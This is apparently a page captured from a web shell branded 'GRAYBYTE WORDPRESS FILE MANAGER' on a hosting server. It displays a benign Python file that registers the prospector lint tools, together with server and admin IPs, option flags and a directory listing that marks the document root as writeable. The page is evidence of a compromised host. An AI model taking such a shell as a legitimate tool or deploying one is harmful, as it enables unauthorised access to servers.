$58 GRAYBYTE WORDPRESS FILE MANAGER $36

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.217.100
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/cloudlinux/venv/lib/python3.11/site-packages/prospector/tools/

HOME
Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/prospector/tools//__init__.py
import importlib

from prospector.exceptions import FatalProspectorException
from prospector.tools.base import ToolBase
from prospector.tools.dodgy import DodgyTool
from prospector.tools.mccabe import McCabeTool
from prospector.tools.pycodestyle import PycodestyleTool
from prospector.tools.pydocstyle import PydocstyleTool
from prospector.tools.pyflakes import PyFlakesTool
from prospector.tools.pylint import PylintTool


def _tool_not_available(name, install_option_name):
    class NotAvailableTool(ToolBase):
        """
        Dummy tool class to return when a particular dependency is not found (such as mypy, or bandit)
        for an optional tool. This does not error immediately since the tool is optional, but rather
        if the user tries to run prospector and specifies using the tool at which point an error is raised.
        """

        def configure(self, prospector_config, found_files):
            pass

        def run(self, _):
            raise FatalProspectorException(
                f"\nCannot run tool {name} as support was not installed.\n"
                f"Please install by running 'pip install prospector[{install_option_name}]'\n\n"
            )

    return NotAvailableTool


def _optional_tool(name, package_name=None, tool_class_name=None, install_option_name=None):
    package_name = "prospector.tools.%s" % (package_name or name)
    tool_class_name = tool_class_name or f"{name.title()}Tool"
    install_option_name = install_option_name or f"with_{name}"

    try:
        tool_package = __import__(package_name, fromlist=[tool_class_name])
    except ImportError:
        tool_class = _tool_not_available(name, install_option_name)
    else:
        tool_class = getattr(tool_package, tool_class_name)

    return tool_class


def _profile_validator_tool(*args, **kwargs):
    # bit of a hack to avoid a cyclic import...
    mdl = importlib.import_module("prospector.tools.profile_validator")
    return mdl.ProfileValidationTool(*args, **kwargs)


TOOLS = {
    "dodgy": DodgyTool,
    "mccabe": McCabeTool,
    "pyflakes": PyFlakesTool,
    "pycodestyle": PycodestyleTool,
    "pylint": PylintTool,
    "pydocstyle": PydocstyleTool,
    "profile-validator": _profile_validator_tool,
    "vulture": _optional_tool("vulture"),
    "pyroma": _optional_tool("pyroma"),
    "pyright": _optional_tool("pyright"),
    "mypy": _optional_tool("mypy"),
    "bandit": _optional_tool("bandit"),
}


DEFAULT_TOOLS = (
    "dodgy",
    "mccabe",
    "pyflakes",
    "pycodestyle",
    "pylint",
    "pydocstyle",
    "profile-validator",
)

DEPRECATED_TOOL_NAMES = {"pep8": "pycodestyle", "pep257": "pydocstyle"}


Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
11 Feb 2026 9.30 AM
root / root
0755
__pycache__
--
11 Feb 2026 9.30 AM
root / root
0755
bandit
--
11 Feb 2026 9.30 AM
root / root
0755
dodgy
--
11 Feb 2026 9.30 AM
root / root
0755
mccabe
--
11 Feb 2026 9.30 AM
root / root
0755
mypy
--
11 Feb 2026 9.30 AM
root / root
0755
profile_validator
--
11 Feb 2026 9.30 AM
root / root
0755
pycodestyle
--
11 Feb 2026 9.30 AM
root / root
0755
pydocstyle
--
11 Feb 2026 9.30 AM
root / root
0755
pyflakes
--
11 Feb 2026 9.30 AM
root / root
0755
pylint
--
11 Feb 2026 9.30 AM
root / root
0755
pyright
--
11 Feb 2026 9.30 AM
root / root
0755
pyroma
--
11 Feb 2026 9.30 AM
root / root
0755
vulture
--
11 Feb 2026 9.30 AM
root / root
0755
__init__.py
2.589 KB
20 Jan 2026 1.01 PM
root / root
0644
base.py
1.538 KB
20 Jan 2026 1.01 PM
root / root
0644
exceptions.py
0.166 KB
20 Jan 2026 1.01 PM
root / root
0644
utils.py
1.134 KB
20 Jan 2026 1.01 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF